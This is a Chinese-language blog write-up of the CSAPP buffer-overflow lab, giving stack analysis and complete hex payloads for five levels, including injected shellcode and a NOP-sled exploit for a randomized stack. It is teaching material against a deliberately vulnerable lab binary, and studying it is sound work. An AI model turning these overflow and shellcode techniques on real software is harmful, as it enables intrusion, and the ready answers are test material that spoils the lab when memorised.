天天看点

CSAPP: buffer lab

解答过程及源程序包及实验文档下载:  http://download.csdn.net/detail/xuzhezhaozhao/5292532

或 https://github.com/xuzhezhaozhao/CSAPP-Labs

花一天时间做了这个lab, 难度比之前bomb lab小, 分析也不复杂, 只要弄清楚缓冲区溢出的原理就比较好做.

注意: 这个程序运行时要有一个userid参数,我的设置的是xzz, 不同的userid会对应不同的结果.我的答案如果换成别的userid的话就不成功.

而且也可能和机器有关,因为程序中一些变量的存放位置可能不同.

  • Level 0: 

这一关是执行getbuf()函数后不返回到正常位置,而是转去执行smoke函数.

查看汇编代码得到smoke函数的入口地址为0x080490ba.

调用getbuf函数时输入字符串的存放位置为$epb-0x28, return address的位置为$ebp+4.

则得到要输入的字节码应该是44个00,接着是ba 90 04 08.也就是smoke的入口

地址,这样函数在退出getbuf函数时就会ret到smoke函数处执行smoke函数.

solution:

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 ba 90 04 08

  • Level 1:

这一关是执行getbuf()函数后不返回到正常位置,而是转去执行fizz函数, 而且要将你的cookie值

作为参数传递给fizz函数.

同样先得到fizz函数的入口地址为0x0804906f.

由于要将自己生成的cookie作为参数传递给fizz函数,先分析fizz函数

的参数在栈中位置,很明显由fizz函数中的下面两句可得到结果.

可知fizz函数的参数存放在$ebp+0x8位置处.因为进入函数后有个push %ebp的

操作,所以可知其参数在执行fizz函数之前的栈的栈顶之下的那个位置.

因为是执行fizz函数而不是call fizz函数,所以栈不会自动push return address.

所以结果就出来,在Level 1的基础上修改return address使其指向fizz函数,再继续向上

修改栈中的值,使其传递你所特定的参数(cookie)给fizz函数.

8049075:       8b 45 08                mov    0x8(%ebp),%eax

8049078:       3b 05 e4 c1 04 08       cmp    0x804c1e4,%eax

生成xzz的cookie值为0x52f8c747.

solution:

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 6f 90 04 08 00 00

00 00 47 c7 f8 52

  • Level 2:

这一关是要执行栈中你指定的特殊指令,设置一个全局变量变你的cookie值,再去执行bang函数.

同样先得到bang函数的入口地址为0x08049022.

由于要修改全局变量global_value的值,先找到其存储位置0x804c1ec,

用GDB调试可以观察到0x804c1e4中保存是你的cookie的值.

8049028:       a1 ec c1 04 08          mov    0x804c1ec,%eax

804902d:       3b 05 e4 c1 04 08       cmp    0x804c1e4,%eax

8049033:       75 1e                   jne    8049053 <bang+0x31>

下面设置gloal_value值为cookie.汇编代码为:

mov 0x804c1e4, %eax  

mov %eax, 0x804c1ec  

push $0x08049022      

ret              

用gcc汇编用objdump反汇编得到其指令序列为:

a1 e4 c1 04 08

a3 ec c1 04 08

68 22 90 04 08

c3            

gcc -m32 -c example.s

objdump -d example.o > example.d

将指令放在最开头位置字符串,0x55683428

solition:

a1 e4 c1 04 08 a3 ec c1 04 08

68 22 90 04 08 c3 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 6f 90 04 08 00 00

00 00 00 00 28 34 68 55

  • Level 3:

这一关是要修改getbuf()函数的返回值(正常状态为0x1)为你的cookie值,然后让函数正常返回到test.

查看汇编代码得到getbuf函数返回后指令执行位置为0x08048c93.

调用getbuf会在栈中保存一个old %ebp值, 这个值是test函数的%ebp值,这个值需要正确返回.

用GDB调试得到这个值old %ebp为0x55683480.

则在栈中需要执行的指定应该如下, 指定存放在字符串首地址处0x55683428:

mov 0x804c1e4, %eax  

mov $0x55683480, %ebp  

push 0x8048c93      

ret

得到指令序列为:

a1 e4 c1 04 08

bd 80 34 68 55

68 93 8c 04 08

c3 

solution1:

a1 e4 c1 04 08 bd 80 34 68 55

68 93 8c 04 08 c3 00 00 00 00 

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 28 34 68 55

还有一种办法就不用在指定中用mov $0x55683480, %ebp来恢复%ebp,

只要给的字符串不改变old %ebp内容就可以.

solution2:

a1 e4 c1 04 08 68 93 8c 04 08 

c3 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

80 34 68 55 28 34 68 55

  • Level 4:

前面4关在调用getbuf函数时其栈的位置是不变的.这一关调用的是getbufn函数, 

其缓冲区大小为512个字节, 且每次栈的位置都会变化, 以下是%ebp的变化情况:

getbufn函数的%ebp值:

0x55683450

0x55683430

0x55683400

0x556833e0

0x556833e0

字符串的存储位置为 %ebp-0x208 (520):

0x55683248

0x55683228

0x556831f8

0x556831d8

0x556831d8

变化范围为:0x70 (112)

test函数的%ebp值:

0x55683480

0x55683460

0x55683430

0x55683410

0x55683410

看出getbufn的%ebp值比test的小0x30.在getsbufn执行ret后%esp-0x8的值就是getbufn的%ebp值.

则此时test的值应该为%esp+0x28.

则在栈中要执行的指令为:

leal 0x28(%esp), %ebp  

mov 0x804c1e4, %eax  

push $0x8048c2e      

ret

指令序列为

8d 6c 24 28

a1 e4 c1 04 08

68 2e 8c 04 08

c3

字符串前指令序列前的字节都设为nop(0x90),形成"nop sled".一共应该有528个字节,最后4个字节为0x55683248.(字符串可能存放的最高地址).

solution:

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 8d

6c 24 28 a1 e4 c1 04 08 68 2e 

8c 04 08 c3 48 32 68 55

  • 总结: 
  1. ret指令将栈顶的元素弹入到PC寄存器中, 程序转到PC寄存器指向的位置执行. 如先push $ADDR再执行ret则程序会跳到ADDR位置执行指令. jmp指令是相对寻址来跳转.
  2. 寄存器%ebp的值很重要, 如果缓冲区溢出时破坏了, 则被调用程序返回后会出问题.

继续阅读